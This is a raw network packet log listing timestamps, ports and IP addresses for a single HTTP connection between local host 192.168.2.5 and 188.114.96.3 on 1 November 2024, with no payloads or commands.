Nov 1, 2024 15:15:00.760200977 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.760241032 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.760241032 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.760445118 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760456085 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760466099 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760477066 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760483980 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.760488987 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760509014 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.760529995 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760534048 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.760541916 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760554075 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760565042 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760575056 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760585070 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.760585070 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.760587931 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760600090 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760612011 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.760612965 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760624886 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.760668039 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.760668039 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.779061079 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.779119968 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.779171944 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.779206991 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.779222965 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.779239893 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.779256105 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.779274940 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.779300928 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.779344082 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.779377937 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.779395103 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.779408932 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.779408932 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.779429913 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.779433012 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.779448986 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.779463053 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.779463053 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.779465914 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.779479027 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.779481888 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.779495955 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.779509068 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.779509068 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.779510975 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.779525042 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.779535055 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.779546022 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.779547930 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.779558897 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.779567003 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.779571056 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.779598951 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.779619932 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.779627085 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.779632092 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.779644012 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.779695034 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.779695034 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.779695034 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.779848099 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.779906988 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.780178070 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.780189991 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.780201912 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.780241013 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.780316114 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.780388117 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.780400038 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.780409098 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.780419111 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.780473948 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.780473948 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.780771017 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.780787945 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.780800104 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.780878067 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.780885935 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.780885935 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.780889034 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.780900002 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.780910015 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.780920982 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.780935049 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.780937910 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.780949116 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.780965090 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.780965090 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.781016111 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.781121016 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781131983 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781141996 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781163931 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.781183004 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781186104 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.781193018 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781205893 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781224966 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781236887 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781240940 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.781240940 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.781248093 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781290054 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.781290054 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.781460047 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781471014 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781480074 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781491041 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781508923 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781518936 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781522036 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.781531096 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781538010 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.781541109 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781553984 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781575918 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.781575918 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.781583071 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781593084 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781598091 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.781605959 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781616926 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781625986 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.781625986 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.781629086 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781641006 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781651974 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781678915 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.781678915 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.781704903 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.781748056 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781759024 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781768084 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781789064 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.781830072 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.781842947 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781855106 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781869888 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.781894922 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.781909943 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.782351971 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.782392025 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.782402039 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.782438993 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.782450914 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.782461882 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.782473087 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.782481909 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.782485008 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.782495022 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.782524109 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.782550097 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.782560110 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.782569885 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.782591105 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.782609940 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.782907963 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.782959938 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.782970905 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.782982111 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783025980 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.783025980 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.783049107 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783061028 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783070087 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783107996 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.783108950 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.783176899 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783188105 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783198118 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783216000 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783226967 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783232927 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.783236980 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783246040 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783255100 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.783256054 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783282042 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.783298016 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.783360958 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783371925 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783381939 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783394098 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783410072 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783418894 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.783421040 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783432007 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783438921 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.783442974 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783454895 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783467054 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.783469915 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783478975 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.783482075 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783510923 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.783524990 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.783569098 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783579111 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783629894 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.783655882 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783667088 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783679008 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783747911 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.783828974 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783839941 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783850908 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783862114 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783874989 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783916950 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783929110 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.783970118 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.783970118 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.783992052 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.784008026 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784018040 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784028053 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784049034 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784055948 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.784060955 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784071922 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784082890 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.784102917 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784112930 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784115076 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.784125090 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784136057 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784147978 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.784167051 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.784167051 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784178972 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784189939 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784218073 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.784218073 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.784240007 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.784279108 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784290075 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784300089 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784311056 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784322023 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784332037 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784337997 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.784353018 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.784360886 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784360886 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.784373045 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784384012 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784394979 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784408092 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.784437895 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.784481049 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784492016 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784502029 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784512997 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784522057 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.784526110 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784535885 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784548044 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784557104 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.784558058 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784578085 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.784600973 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.784627914 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784640074 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784650087 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784660101 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784671068 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784672976 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.784682035 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784693956 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.784728050 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.784728050 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.784728050 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.786082983 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786096096 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786106110 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786161900 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.786168098 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786179066 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786189079 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786206007 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786218882 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786226988 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.786226988 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.786230087 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786242008 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786338091 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.786338091 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.786364079 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786375046 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786385059 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786396980 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786407948 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786420107 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786431074 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786441088 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.786441088 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.786442995 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786463022 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.786495924 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.786515951 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786528111 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786536932 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786550045 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786561012 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786566019 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.786566973 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786575079 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786600113 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.786600113 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.786628962 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.786674976 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786684990 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786695957 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786706924 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786716938 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786727905 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786731958 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.786758900 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.786762953 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786765099 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.786775112 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786784887 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786797047 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786806107 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786815882 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.786815882 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.786817074 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786828995 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786839008 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786840916 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.786850929 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786869049 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.786892891 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.786957026 CET	80	49874	188.114.96.3	192.168.2.5
